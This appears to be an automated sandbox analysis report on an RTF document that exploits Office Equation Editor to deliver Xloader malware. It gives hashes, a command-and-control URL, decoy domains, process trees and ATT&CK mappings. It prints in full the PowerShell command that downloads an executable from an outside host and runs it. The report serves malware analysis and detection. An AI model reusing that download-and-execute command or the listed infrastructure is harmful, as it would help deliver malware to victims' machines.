xloader | 9e9f12d14bd6918e39116f6a1c8017ecf3cd93a37c760b67175c0332d429526e

Analysis

max time kernel
150s
max time network
91s
platform
windows7_x64
resource
win7v20201028
submitted
04-03-2021 17:47

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General

Target

SecuriteInfo.com.Exploit.RTF-ObfsStrm.Gen.675.18581.rtf
Size

267KB
MD5

174339ee0b1d50af956d16c7608a787e
SHA1

70f7dda70f239b16afcd1e7818075237c53abbc5
SHA256

9e9f12d14bd6918e39116f6a1c8017ecf3cd93a37c760b67175c0332d429526e
SHA512

f7a7c1ff8cb032582f8695cb927e1429d8b355547b67a96dfb8834fd43e8891bd6a660c70935c910ba0ee2cb1f20a8d83bc42aab04db310b85fbadab8897527a

Score

10^/10

xloader loader rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://bppgov.ng/gotv.exe

Extracted

Family

xloader

http://www.pardsoda.com/w25t/

Decoy

nowayinlocksmith.com

bookaprovider.com

joybirder.com

decoracerrado.com

preciousmonments.com

96kixx.com

parentseducationalco-op.com

cbdandbtc.com

santanadeliciasymas.com

finecharlottehomes.com

themanibox.com

backupasia.com

buffalodetailstore.com

iprdo.com

croce-komeko.com

bluechipsgroup.company

truyencow.com

globalism.online

oicrafts.com

naturalawakeningsprograms.com

Signatures

Xloader
Xloader is a rebranded version of Formbook malware.
loader xloader

Xloader Payload 2 IoCs

rat

Processes:

resource	yara_rule
behavioral1/memory/1168-54-0x0000000000401000-0x0000000000541000-memory.dmp	xloader
behavioral1/memory/368-60-0x0000000000080000-0x00000000000A9000-memory.dmp	xloader

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

7 368 powershell.exe
Executes dropped EXE 1 IoCs

Processes:

Wb.exe

pid process

604 Wb.exe
Loads dropped DLL 7 IoCs

Processes:

powershell.exeWb.exeWb.exe

pid process

368 powershell.exe
368 powershell.exe
368 powershell.exe
368 powershell.exe
368 powershell.exe
604 Wb.exe
1168 Wb.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

flow	pid	process
7	368	powershell.exe

pid	process
604	Wb.exe

Drops file in System32 directory 2 IoCs

Processes:

powershell.exeWb.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\sackcloths	Wb.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

Processes:

Wb.exeWb.exe

pid process

604 Wb.exe
1168 Wb.exe
1168 Wb.exe

pid	process
604	Wb.exe
1168	Wb.exe
1168	Wb.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

Wb.exeWb.exesystray.exe

description	pid	process	target process
PID 604 set thread context of 1168	604	Wb.exe	Wb.exe
PID 1168 set thread context of 1276	1168	Wb.exe	Explorer.EXE
PID 368 set thread context of 1276	368	systray.exe	Explorer.EXE

Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE
Office loads VBA resources, possible macro or embedded object present
Launches Equation Editor 1 TTPs 1 IoCs
Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.
exploit

Exploitation for Client Execution
T1203

Processes:

EQNEDT32.EXE

pid process

1724 EQNEDT32.EXE

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

pid	process
1724	EQNEDT32.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXE

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

1924 WINWORD.EXE

pid	process
1924	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 28 IoCs

Processes:

powershell.exeWb.exesystray.exe

pid	process
368	powershell.exe
368	powershell.exe
1168	Wb.exe
1168	Wb.exe
368	systray.exe
368	systray.exe
368	systray.exe
368	systray.exe
368	systray.exe
368	systray.exe
368	systray.exe
368	systray.exe
368	systray.exe
368	systray.exe
368	systray.exe
368	systray.exe
368	systray.exe
368	systray.exe
368	systray.exe
368	systray.exe
368	systray.exe
368	systray.exe
368	systray.exe
368	systray.exe
368	systray.exe
368	systray.exe
368	systray.exe
368	systray.exe

Suspicious behavior: MapViewOfSection 6 IoCs

Processes:

Wb.exeWb.exesystray.exe

pid process

604 Wb.exe
1168 Wb.exe
1168 Wb.exe
1168 Wb.exe
368 systray.exe
368 systray.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exeWb.exesystray.exe

description pid process

Token: SeDebugPrivilege 368 powershell.exe
Token: SeDebugPrivilege 1168 Wb.exe
Token: SeDebugPrivilege 368 systray.exe
Suspicious use of FindShellTrayWindow 4 IoCs

Processes:

Explorer.EXE

pid process

1276 Explorer.EXE
1276 Explorer.EXE
1276 Explorer.EXE
1276 Explorer.EXE
Suspicious use of SendNotifyMessage 4 IoCs

Processes:

Explorer.EXE

pid process

1276 Explorer.EXE
1276 Explorer.EXE
1276 Explorer.EXE
1276 Explorer.EXE
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

WINWORD.EXEWb.exe

pid process

1924 WINWORD.EXE
1924 WINWORD.EXE
604 Wb.exe

pid	process
604	Wb.exe
1168	Wb.exe
1168	Wb.exe
1168	Wb.exe
368	systray.exe
368	systray.exe

description	pid	process
Token: SeDebugPrivilege	368	powershell.exe
Token: SeDebugPrivilege	1168	Wb.exe
Token: SeDebugPrivilege	368	systray.exe

pid	process
1276	Explorer.EXE
1276	Explorer.EXE
1276	Explorer.EXE
1276	Explorer.EXE

pid	process
1276	Explorer.EXE
1276	Explorer.EXE
1276	Explorer.EXE
1276	Explorer.EXE

pid	process
1924	WINWORD.EXE
1924	WINWORD.EXE
604	Wb.exe

Suspicious use of WriteProcessMemory 29 IoCs

Processes:

WINWORD.EXEEQNEDT32.EXEcmd.exepowershell.exeWb.exeExplorer.EXEsystray.exe

description	pid	process	target process
PID 1924 wrote to memory of 1972	1924	WINWORD.EXE	splwow64.exe
PID 1924 wrote to memory of 1972	1924	WINWORD.EXE	splwow64.exe
PID 1924 wrote to memory of 1972	1924	WINWORD.EXE	splwow64.exe
PID 1924 wrote to memory of 1972	1924	WINWORD.EXE	splwow64.exe
PID 1724 wrote to memory of 1668	1724	EQNEDT32.EXE	cmd.exe
PID 1724 wrote to memory of 1668	1724	EQNEDT32.EXE	cmd.exe
PID 1724 wrote to memory of 1668	1724	EQNEDT32.EXE	cmd.exe
PID 1724 wrote to memory of 1668	1724	EQNEDT32.EXE	cmd.exe
PID 1668 wrote to memory of 368	1668	cmd.exe	powershell.exe
PID 1668 wrote to memory of 368	1668	cmd.exe	powershell.exe
PID 1668 wrote to memory of 368	1668	cmd.exe	powershell.exe
PID 1668 wrote to memory of 368	1668	cmd.exe	powershell.exe
PID 368 wrote to memory of 604	368	powershell.exe	Wb.exe
PID 368 wrote to memory of 604	368	powershell.exe	Wb.exe
PID 368 wrote to memory of 604	368	powershell.exe	Wb.exe
PID 368 wrote to memory of 604	368	powershell.exe	Wb.exe
PID 604 wrote to memory of 1168	604	Wb.exe	Wb.exe
PID 604 wrote to memory of 1168	604	Wb.exe	Wb.exe
PID 604 wrote to memory of 1168	604	Wb.exe	Wb.exe
PID 604 wrote to memory of 1168	604	Wb.exe	Wb.exe
PID 604 wrote to memory of 1168	604	Wb.exe	Wb.exe
PID 1276 wrote to memory of 368	1276	Explorer.EXE	systray.exe
PID 1276 wrote to memory of 368	1276	Explorer.EXE	systray.exe
PID 1276 wrote to memory of 368	1276	Explorer.EXE	systray.exe
PID 1276 wrote to memory of 368	1276	Explorer.EXE	systray.exe
PID 368 wrote to memory of 1740	368	systray.exe	cmd.exe
PID 368 wrote to memory of 1740	368	systray.exe	cmd.exe
PID 368 wrote to memory of 1740	368	systray.exe	cmd.exe
PID 368 wrote to memory of 1740	368	systray.exe	cmd.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1276

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Exploit.RTF-ObfsStrm.Gen.675.18581.rtf"
2⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1924

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
3⤵
PID:1972

C:\Windows\SysWOW64\systray.exe
"C:\Windows\SysWOW64\systray.exe"
2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:368

C:\Windows\SysWOW64\cmd.exe
/c del "C:\Users\Admin\AppData\Local\Temp\Wb.exe"
3⤵
PID:1740

C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
1⤵
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
PID:1724

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c PowerShell "try{$xcHZX=$env:temp+'\Wb.exe'; (New-Object System.Net.WebClient).DownloadFile( 'http://bppgov.ng/gotv.exe', $xcHZX);(New-Object -com Shell.Application).ShellExecute( $xcHZX);}catch{}"
2⤵
- Suspicious use of WriteProcessMemory
PID:1668

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PowerShell "try{$xcHZX=$env:temp+'\Wb.exe'; (New-Object System.Net.WebClient).DownloadFile( 'http://bppgov.ng/gotv.exe', $xcHZX);(New-Object -com Shell.Application).ShellExecute( $xcHZX);}catch{}"
3⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:368

C:\Users\Admin\AppData\Local\Temp\Wb.exe
"C:\Users\Admin\AppData\Local\Temp\Wb.exe"
4⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:604

C:\Users\Admin\AppData\Local\Temp\Wb.exe
"C:\Users\Admin\AppData\Local\Temp\Wb.exe"
5⤵
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
PID:1168

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Exploitation for Client Execution

T1203

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

T1102

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Wb.exe
MD5
1da73d4931cd6893f7b9fc765225a62d

SHA1
cdc4992d5e425628b1c12c51d64a9105824bacc5

SHA256
12e42bff4fa377032623342ac1f23a5c87225a40ef8b900cbb06ae4bd203864d

SHA512
fe6d7693e80890b3da7a27d37630d48a4de919b53a8532496fe9c4b66665dde605a46f71d42e228d83fa8d3c92aaadc5a36b50e479f450742ab8a06589820a18

Download Submit
C:\Users\Admin\AppData\Local\Temp\Wb.exe
MD5
1da73d4931cd6893f7b9fc765225a62d

SHA1
cdc4992d5e425628b1c12c51d64a9105824bacc5

SHA256
12e42bff4fa377032623342ac1f23a5c87225a40ef8b900cbb06ae4bd203864d

SHA512
fe6d7693e80890b3da7a27d37630d48a4de919b53a8532496fe9c4b66665dde605a46f71d42e228d83fa8d3c92aaadc5a36b50e479f450742ab8a06589820a18

Download Submit
C:\Users\Admin\AppData\Local\Temp\Wb.exe
MD5
1da73d4931cd6893f7b9fc765225a62d

SHA1
cdc4992d5e425628b1c12c51d64a9105824bacc5

SHA256
12e42bff4fa377032623342ac1f23a5c87225a40ef8b900cbb06ae4bd203864d

SHA512
fe6d7693e80890b3da7a27d37630d48a4de919b53a8532496fe9c4b66665dde605a46f71d42e228d83fa8d3c92aaadc5a36b50e479f450742ab8a06589820a18

Download Submit
\Users\Admin\AppData\Local\Temp\Wb.exe
MD5
1da73d4931cd6893f7b9fc765225a62d

SHA1
cdc4992d5e425628b1c12c51d64a9105824bacc5

SHA256
12e42bff4fa377032623342ac1f23a5c87225a40ef8b900cbb06ae4bd203864d

SHA512
fe6d7693e80890b3da7a27d37630d48a4de919b53a8532496fe9c4b66665dde605a46f71d42e228d83fa8d3c92aaadc5a36b50e479f450742ab8a06589820a18

Download Submit
\Users\Admin\AppData\Local\Temp\Wb.exe
MD5
1da73d4931cd6893f7b9fc765225a62d

SHA1
cdc4992d5e425628b1c12c51d64a9105824bacc5

SHA256
12e42bff4fa377032623342ac1f23a5c87225a40ef8b900cbb06ae4bd203864d

SHA512
fe6d7693e80890b3da7a27d37630d48a4de919b53a8532496fe9c4b66665dde605a46f71d42e228d83fa8d3c92aaadc5a36b50e479f450742ab8a06589820a18

Download Submit
\Users\Admin\AppData\Local\Temp\Wb.exe
MD5
1da73d4931cd6893f7b9fc765225a62d

SHA1
cdc4992d5e425628b1c12c51d64a9105824bacc5

SHA256
12e42bff4fa377032623342ac1f23a5c87225a40ef8b900cbb06ae4bd203864d

SHA512
fe6d7693e80890b3da7a27d37630d48a4de919b53a8532496fe9c4b66665dde605a46f71d42e228d83fa8d3c92aaadc5a36b50e479f450742ab8a06589820a18

Download Submit
\Users\Admin\AppData\Local\Temp\Wb.exe
MD5
1da73d4931cd6893f7b9fc765225a62d

SHA1
cdc4992d5e425628b1c12c51d64a9105824bacc5

SHA256
12e42bff4fa377032623342ac1f23a5c87225a40ef8b900cbb06ae4bd203864d

SHA512
fe6d7693e80890b3da7a27d37630d48a4de919b53a8532496fe9c4b66665dde605a46f71d42e228d83fa8d3c92aaadc5a36b50e479f450742ab8a06589820a18

Download Submit
\Users\Admin\AppData\Local\Temp\Wb.exe
MD5
1da73d4931cd6893f7b9fc765225a62d

SHA1
cdc4992d5e425628b1c12c51d64a9105824bacc5

SHA256
12e42bff4fa377032623342ac1f23a5c87225a40ef8b900cbb06ae4bd203864d

SHA512
fe6d7693e80890b3da7a27d37630d48a4de919b53a8532496fe9c4b66665dde605a46f71d42e228d83fa8d3c92aaadc5a36b50e479f450742ab8a06589820a18

Download Submit
\Users\Admin\AppData\Local\Temp\Wb.exe
MD5
1da73d4931cd6893f7b9fc765225a62d

SHA1
cdc4992d5e425628b1c12c51d64a9105824bacc5

SHA256
12e42bff4fa377032623342ac1f23a5c87225a40ef8b900cbb06ae4bd203864d

SHA512
fe6d7693e80890b3da7a27d37630d48a4de919b53a8532496fe9c4b66665dde605a46f71d42e228d83fa8d3c92aaadc5a36b50e479f450742ab8a06589820a18

Download Submit
memory/368-14-0x0000000004950000-0x0000000004951000-memory.dmp

Filesize
4KB

Download
memory/368-27-0x0000000006230000-0x0000000006231000-memory.dmp

Filesize
4KB

Download
memory/368-63-0x0000000000A00000-0x0000000000A8F000-memory.dmp

Filesize
572KB

Download
memory/368-15-0x0000000004952000-0x0000000004953000-memory.dmp

Filesize
4KB

Download
memory/368-16-0x0000000001250000-0x0000000001251000-memory.dmp

Filesize
4KB

Download
memory/368-17-0x0000000005240000-0x0000000005241000-memory.dmp

Filesize
4KB

Download
memory/368-19-0x000000007EF30000-0x000000007EF31000-memory.dmp

Filesize
4KB

Download
memory/368-21-0x0000000006080000-0x0000000006081000-memory.dmp

Filesize
4KB

Download
memory/368-26-0x00000000060C0000-0x00000000060C1000-memory.dmp

Filesize
4KB

Download
memory/368-58-0x0000000000000000-mapping.dmp

Download
memory/368-34-0x00000000061F0000-0x00000000061F1000-memory.dmp

Filesize
4KB

Download
memory/368-35-0x00000000062D0000-0x00000000062D1000-memory.dmp

Filesize
4KB

Download
memory/368-12-0x0000000000E60000-0x0000000000E61000-memory.dmp

Filesize
4KB

Download
memory/368-11-0x000000006B2A0000-0x000000006B98E000-memory.dmp

Filesize
6.9MB

Download
memory/368-9-0x0000000000000000-mapping.dmp

Download
memory/368-61-0x00000000020F0000-0x00000000023F3000-memory.dmp

Filesize
3.0MB

Download
memory/368-60-0x0000000000080000-0x00000000000A9000-memory.dmp

Filesize
164KB

Download
memory/368-13-0x0000000004990000-0x0000000004991000-memory.dmp

Filesize
4KB

Download
memory/368-59-0x0000000000CE0000-0x0000000000CE5000-memory.dmp

Filesize
20KB

Download
memory/604-41-0x0000000000000000-mapping.dmp

Download
memory/604-45-0x0000000000430000-0x000000000043B000-memory.dmp

Filesize
44KB

Download
memory/1168-55-0x000000001E8D0000-0x000000001EBD3000-memory.dmp

Filesize
3.0MB

Download
memory/1168-56-0x000000001E770000-0x000000001E780000-memory.dmp

Filesize
64KB

Download
memory/1168-51-0x00000000001B0000-0x00000000002B0000-memory.dmp

Filesize
1024KB

Download
memory/1168-54-0x0000000000401000-0x0000000000541000-memory.dmp

Filesize
1.2MB

Download
memory/1168-49-0x00000000004018E4-mapping.dmp

Download
memory/1276-57-0x0000000003C40000-0x0000000003D7B000-memory.dmp

Filesize
1.2MB

Download
memory/1668-8-0x0000000000000000-mapping.dmp

Download
memory/1724-7-0x0000000075AE1000-0x0000000075AE3000-memory.dmp

Filesize
8KB

Download
memory/1736-53-0x000007FEF6680000-0x000007FEF68FA000-memory.dmp

Filesize
2.5MB

Download
memory/1740-62-0x0000000000000000-mapping.dmp

Download
memory/1924-4-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1924-3-0x00000000705A1000-0x00000000705A3000-memory.dmp

Filesize
8KB

Download
memory/1924-2-0x0000000072B21000-0x0000000072B24000-memory.dmp

Filesize
12KB

Download
memory/1972-6-0x000007FEFC021000-0x000007FEFC023000-memory.dmp

Filesize
8KB

Download
memory/1972-5-0x0000000000000000-mapping.dmp

Download